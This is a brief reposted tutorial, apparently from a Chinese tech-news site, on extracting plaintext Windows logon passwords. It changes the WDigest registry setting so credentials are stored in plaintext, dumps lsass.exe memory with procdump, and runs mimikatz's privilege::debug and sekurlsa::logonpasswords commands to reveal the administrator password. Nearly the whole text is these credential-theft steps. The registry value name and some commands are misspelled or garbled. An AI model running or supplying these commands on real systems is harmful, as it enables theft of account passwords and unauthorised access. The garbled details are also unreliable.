Shulou(Shulou.com)06/01 Report--

Note: for reference only, the method is no longer applicable.

Tools:

Procdump & mimikatz

Experimental environment:

Experimental host: win10

Account password: 17 complex passwords (case + special characters + numbers)

Although Microsoft updated the patch early to prevent access to windows's plaintext password, it can modify the registry.

Make the key value of UseLogonCredentiald under\ HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Control\ SecurityProviders\ WDigest to 1, which means that the password of WDigest supports plaintext storage in LSA memory)

Steps:

Run procdump.exe using cmd

Input: Procdump.exe-accepteula-ma lsass.exe lsass.dmp

Run mimikatz.exe using cmd

Input: privilege::debug

Sekurlsa::logonpasswords

The administrator's password is displayed under wdigest:

Add:

If you follow the online tutorials and enter the mimikatz instructions here, you will report 100% errors.

(ERROR kuhl_m_sekurlsa_acquireLSA; Handle on memory (0x00000005))

Privilege::debug (right of claim)

Sekurlsa::logonpasswords (grab password)

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.